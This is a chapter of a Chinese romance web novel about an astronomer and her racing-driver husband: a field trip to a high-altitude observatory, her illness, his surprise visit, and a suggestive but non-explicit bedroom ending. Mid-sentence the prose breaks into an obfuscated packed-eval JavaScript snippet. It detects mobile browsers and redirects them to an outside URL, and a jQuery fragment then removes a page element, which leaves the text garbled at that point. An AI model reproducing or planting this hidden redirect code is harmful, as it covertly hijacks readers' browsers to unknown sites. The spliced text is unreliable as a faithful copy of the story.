温木的手指抵在宋星燃胸口,能感受到他心跳的节奏快得不正常。
她扭过头去,轻声问:“今天,就要吗?”
宋星燃的唇还贴在她耳后:“不可以吗?”
呼吸灼热。
烫得人迷糊。
温木淡声辩解:“今天有点累。”
“不用你动。”一只温热的大手已经滑到她睡衣下摆。
她按住那只不安分的手:“你也累。”
男人低笑,虎牙在黑暗中闪过微光。
“温老师。”
“你是不是对赛车手的体力有点误解?”
没有误解。
她是根本就不了解。
手在往上,一点点滑过她细腻的肌肤。
微信铃声突兀地炸响。
两人同时僵住,宋星燃不爽地“啧”了一声,松开钳制。
温木摸索着接起电话。
“小温啊,临时有个文献调研要麻烦你。”是高崇华打来的,“欧洲那边新发的系外行星大气层论文,明天专家组要用。”
“好的高老师,我现在处理。”温木不假思索地应下。
“哦,还有一件事。”高崇华补充,“明天出发去冷湖参与天文站选址调研,别忘了带防寒装备。”
温木一愣,下意识看向宋星燃的方向。
房间里太黑,她没戴眼镜,只能隐约看见一个高大的轮廓立在床边。手机微光映出他紧绷的下颌线,空气仿佛凝固成冰。
“小温?还在听吗?”
“好的高老师,我知道了。”温木迅速回神。
电话挂断,卧室陷入更深的寂静。
男人双手抱胸站在那里,像一尊冰冷的雕塑。
温木试探着开口:“你都听到了?”
没有回应。
“今晚是临时任务,明天那个是之前就说好的。”
“我也没办法。”
沉默如同实质般压在胸口。
温木抱起电脑:“你早点睡,我去楼下,不打扰你。”
刚经过宋星燃身边,突然被拦腰抱回。
手臂像铁箍般收紧,男人的声音闷在她肩窝:“不许下楼,就在这弄。”
温木无奈,轻轻拍了拍锁在胸前的胳膊:“好。”
笔记本电脑的蓝光在黑暗中格外刺眼。她戴上眼镜,回头看了一眼。宋星燃背对着她躺在床上,被子隆起一道倔强的弧度。
她调暗屏幕亮度,开始专注工作。
房间里只剩下偶尔的键盘敲击声和空调运转的嗡鸣。温木时而皱眉思索,时而快速记录,完全沉浸在学术世界里。
直到保存最后一个文档,她才惊觉已是凌晨一点。
关掉电脑,温木轻手轻脚地摸上床。
男人的身材实在过于高大,两米宽的大床,他占据了大半空间。
她把自己缩在床角最边缘,小心翼翼地牵起被子一角盖上。
空调温度太低,她忍不住打了个寒颤,把身体蜷得更紧。
“温老师,你是属乌龟的吗?”
温木一愣:“你,没睡着啊?”
一床被子劈头盖脸砸过来:“你敲键盘的声音那么大,我怎么睡得着。”
她都说了去楼下还要怎样,真难伺候。
温木把被子裹紧:“我下次去楼下。”
“你要走几天?”
“应该一两个星期。”
宋星燃冷笑:“哼,抛下新婚丈夫一走了之,”
他翻过身面对她,眼睛在夜色中发亮。
“温老师,你真狠。”
心头泛起一丝愧疚。
怎么说呢,这场婚姻算是她强求来的,结果搬进新家不到一天就要离开,确实说不过去。
退一万步说,她至少要哄着这位三少爷直到新大楼竣工。
“我考虑不周。”她轻声说,犹豫片刻,伸手抚上男人的肩膀,“等我回来,给你带礼物。”
“好吗?”
声音听不出波澜,但意外的柔软。
宋星燃没有回答。
温木收回手,在沉默中闭上眼睛。不知过了多久,她感觉身侧的床垫微微下陷——男人无声地靠了过来,手臂横在她腰间,呼吸喷在她后颈。
“冷湖海拔多少?”他突然问。
“三千二。”
“昼夜温差?”
“最大二十度。”
“手机信号?”
“只有观测站有基站。”
一连串问答后,宋星燃的手臂收紧了些:“每天发条消息。不是请求,是命令。”
“不然我妈会担心的。”
温木无声地勾起嘴角:“嗯。”
“礼物我要挑。”
“嗯。”
男人的鼻尖蹭过她发丝:“睡觉,你晚上打呼噜的话,我会把你踢下去。”
“一定会。”
然后,又抱得紧了些。
这人,真是的。
*
温木从法拉利上下来,淡淡瞥了一眼身旁花枝乱颤的男人。
宋星燃一大早就嚷嚷着要送她,要不是他今天穿得还算低调,她死也不会同意坐这辆招摇过市的跑车来学校。
校门口已经站着几位教授和学生,清一色的冲锋衣登山鞋。
温木快步走向高崇华,深蓝色风衣在一群中年人中间显得格格不入。
“高老师。”
“哎,小温来了。”高崇华推了推眼镜,目光落在她身后的年轻人身上。白T恤配浅色牛仔裤,头发随意抓出几分凌乱感,像个大学生模样。
“小温啊,这是你弟弟吗?”
没等温木开口,宋星燃一个箭步上前,伸出手:“高教授好。我叫宋星燃,您叫我小宋就好。”
“我是温木的丈夫。”
空气凝固了一秒。
温木闭上眼。
这一天还是来了。
“哎呀!小温结婚了?”
“什么时候的事?”
“小伙子真精神!”
“般配般配!”
教授们七嘴八舌的祝福声中,高崇华最先反应过来,面露愧色:“小温啊,我们这是不是打扰你们新婚了?”
“不会的教授。”宋星燃笑得人畜无害,“温木一直说这次调研很重要。”
“就是她胃不好,又容易晕车,我怕她高原反应难受。所以有点担心来着。”
高崇华立刻拍拍温木肩膀:“基础测量做完你就先回,数据分析我们来做。”
又对温木感叹,“小温啊,你丈夫真体贴。”
“谢谢高教授。”宋星燃再次抢答,眼角眉梢都是得意。
温木全程保持礼貌微笑,转头瞪了宋星燃一眼。
对方却凑过来,在众目睽睽之下亲了亲她额头:“早点回来,老婆。”
“哎哟这小两口真甜蜜!”教授们笑作一团。
温木:“......”
这跟说好的不一样吧?!
*
冷湖观测站比想象中更荒凉。海拔3200米的高原上,稀薄的空气让温木第一天就吐了三次。她咬着牙完成恒星定位仪的调试,记录数据时手指冻得发僵。
手机在口袋里震动。
温木掏出来,是宋星燃的消息:
Lgnis:【还活着?】
Jupiter:【[定位截图]】
Lgnis:【吐了没?】
温木犹豫片刻。
Jupiter:【没有。】
发完这条,她转身又抱着垃圾桶干呕起来。
晚上回到临时宿舍,温木才想起宋星燃要求的“每日消息”。
她翻出白天拍的设备照片发过去:
Jupiter:【[图片]】
Lgnis:【这是什么?】
半小时后。
Jupiter:【今天调试的CCD相机,量子效率达到90%。】
秒回。
Lgnis:【拜托,温老师。我是学渣,你稍微体谅一下我好不好?】
半小时后。
Jupiter:【拍星星很清晰。】
秒回。
Lgnis:【哦】
第三天傍晚,温木正在调试光谱仪,突然一阵头晕目眩。
她扶着墙缓了半天,摸出手机看到三条未读消息:
Lgnis:【吃饭没?】
Lgnis:【?】
Lgnis:【温老师又失联了?】
她拍下盒饭发过去:
Jupiter:【[图片]】
Jupiter:【土豆烧牛肉。】
Lgnis:【就这?】
Jupiter:【高原物资有限。】
第五天清晨,他没发早安消息。
温木犹豫片刻,还是发了张日出照片:
Jupiter:【图片】
Jupiter:【今天天气好。】
一直到晚上,才有了回复。
Lgnis:【嗯】
之后两天,对话框彻底安静了。
温木睡前看了眼手机,眉头不自觉地皱起。
“小温,喝点葡萄糖。”高崇华递来保温杯,看着她苍白的脸色直摇头,“明天测量完你就先回吧,剩下的我们处理。”
“我能坚持的。”
“别逞强,”组里的张教授插话,“高教授说得对,你这身体确实吃不消。”
温木张了张嘴,最终没再反驳。
*
温木感觉自己正在岩浆里游泳。
浑身的皮肤滚烫得吓人,每一次呼吸都像吞了刀片,喉咙干涸得发不出声音。脑袋里仿佛有支施工队在敲敲打打,连睁开眼皮都成了不可能的任务。
“咚、咚、咚。”
遥远的敲门声像是从另一个宇宙传来。
那声音越来越大,最后演变成钥匙转动门锁的金属摩擦声。
她听见脚步声,由远及近,最后,在床边停下。
温木努力撑开沉重的眼皮,视线里只有一片模糊的黑暗。
一只冰凉的手贴上她的额头,触感舒服得让她想叹息。那手又很快抽离,脚步声再次远去。
不知过了多久,水声淅沥,一块冰凉的湿毛巾敷上她的前额。
她不自觉往上蹭了蹭,像只得到安抚的猫。
好舒服。
她又要睡着了。
在意识消散的前一秒,一缕薄荷香气钻入鼻腔。
清冽,熟悉,令人安心。
再次睁眼时,头痛减轻了些,但眩晕感仍在。
温木撑着身子坐起来,简陋的木屋在视线中逐渐聚焦。
门轴吱呀一声,一个高大的身影逆光而立。
“醒了?”
男人靠在门框上,阳光从他背后漫进来,勾勒出宽肩窄腰的剪影。
这木屋的门框本就低矮,他站在那里,几乎把整个入口堵得严严实实,像头误入人类居所的野兽。
温木眨了眨眼,花了足足五秒才反应过来。
宋星燃真的出现在海拔三千多米的高原观测站。
“你,怎么……”她嗓子哑得不成样子。
宋星燃几步跨到床边,食指抵住她的唇:“先别说话。”
转身倒了杯温水
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16223327|181620||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,小心吹凉后递到她嘴边,“喝。”
温水润过喉咙,灼烧感减轻了些。
又试着开口:“你怎么来了?”
“我不来你爸妈就要报警了。”宋星燃抱起手臂,语气不善,“出远门也不跟你爸妈报平安,是想怎样?”
他故意加重了“你爸妈”三个字,“老人家又不能出门,不就只有我当苦力咯。”
温木懵了一会,垂下眼睛:“不好意思。”
敲门声适时响起。
宋星燃去开门,高崇华的声音从门外传来:“小宋啊,昨晚凌晨才到的吧?真是辛苦了。还习惯吗?有没有高原反应?”
“我没事儿,谢谢教授关心。”
“温木已经退烧了,我刚喂她吃了药。”
“那就好那就好。多亏你及时赶到,昨晚小温烧到39度多,可把我们吓坏了。”
温木怔怔地听着。
原来昨晚不是梦。
那冰凉的手,湿毛巾,还有薄荷香气……
都是真的。
送走高崇华,宋星燃又恢复了那副混蛋样,一屁股坐在床沿:“你这什么身体素质,怎么还比不过人家老年人?”
笑话,高崇华教授年轻的时候可是市级游泳冠军。她顶多是个市级熬夜冠军。
“每个人体质不一样。”温木无奈道。
男人不屑地哼了一声,突然凑近,嘴角勾起一抹坏笑:“温老师,就你这样的,能经得住我弄吗?”
温木抬眼看他,镜片后的眼睛平静无波:“你怎么知道我经不住?”
她轻轻推了下眼镜,“你很厉害吗?”
语气是平淡的,甚至不觉得她在挑衅。
虽然硬件看起来还可以,但一晚上最多一小时吧。
一般男人都达不到这个水平吧?
她虽然没谈过恋爱,但八卦照听不误。在苏黎世那会儿,听得最多的就是哪儿的男人很行,哪儿的男人普遍不行。
宋星燃的眼神瞬间变了。
他缓缓直起腰,像头被挑衅的狼,瞳孔在阳光下收缩成一条细线,手指抚上她刚退烧还有些泛红的脸颊。
“我厉不厉害,你试试不就知道了。”
温木对上那道危险的眼神,默默往后缩了缩。
*
高原的夜幕降临得猝不及防。
简陋的木屋里,唯一一盏煤油灯在窗台上摇曳,将两人的影子投在木板墙上,纠缠成一团模糊的轮廓。
温木下午强撑着擦了身子,换了干净睡衣。此刻虽然还有些虚弱,但精神已经清明许多。
她靠在床头,看着宋星燃在狭小的空间里走动。这男人实在太过高大,在木屋里转身都要小心避开吊灯。
“看什么看?”宋星燃察觉到她的视线,故意晃了晃手中的药片,“吃药。”
温木乖乖吞下药片,刚躺下就听见布料摩擦的声音。
煤油灯被吹灭,身侧的床垫深深下陷。
这张床实在太小了,宋星燃一上来,滚烫的躯体就紧贴住她的后背,一条结实的手臂横在她腰间,将她牢牢锁在怀里。
“一定要抱着?”
“你以为我想抱你?”热气喷在她发旋,“我不往你这边就要掉下去了。”
好像有点道理。
温木轻轻“哦”一声,不再动弹。
黑暗中,感官被无限放大。
男人的呼吸一下下打在她后颈,激起一片细小的战栗。温木尝试着往前挪了挪,试图逃离那恼人的热气,腰间的手臂却骤然收紧。
“别动。”宋星燃的声音又哑了几分。
温木僵住了。
她能清晰地感受到背后紧贴的胸膛,心跳又快又重,像头困兽。
又过了几分钟,温木实在受不了颈后的酥麻感,再次试图往前挪动。
男人直接一个翻身,双臂撑在她耳侧,将她彻底笼罩在身下。
两人的呼吸在黑暗中交织,一轻一重,一快一慢。
温木仰头看着那双近在咫尺的眼睛,即使在黑暗中也亮得惊人,像是蓄满能量的恒星。
“你不舒服?”她轻声问。
没有回答。
温木抬手想摸他的额头,手腕却被一把扣住按在枕边。宋星燃的体温高得吓人,掌心潮湿滚烫。
“被我传染了?”
她的眼神里不带一丝杂欲,仿佛真的只是在关心他的身体。
漫长的沉默后,男人突然把头埋进她的颈窝,深深吸了一口气。
淡淡的茉莉香气涌入鼻腔——是她在家里用的沐浴露,他在浴室里看到过那瓶淡绿色的液体。
这个姿势让温木真切感受到两人的体型差。
宋星燃实在太重了,压得她有些喘不过气。
她轻轻推了推他的肩膀:“宋星燃。”
“我有点,难受。”
“别动了。”宋星燃的声音闷在她颈间,肌肉绷得像拉满的弓。
“别乱动了。”
恍惚间,温木感觉到某个东西,瞳孔微微放大。
男人抬起头,在微弱月光下与她对视。
温木从未见过他这样的眼神,充满侵略性、攻击性、仿佛下一秒就要把她整个拆吃入腹。
“现在知道了?”他哑着嗓子,每个字都像从牙缝间挤出来一样。
“温老师。”他轻声唤她。
“你知道为什么比赛前要封引擎吗?”
温木摇头。
她本就不懂赛车,也不知道宋星燃为什么在现在——这种尴尬而陌生的情况下——提这个问题。
“因为,”
“预热过头会爆炸的。”
“就像我现在一样。”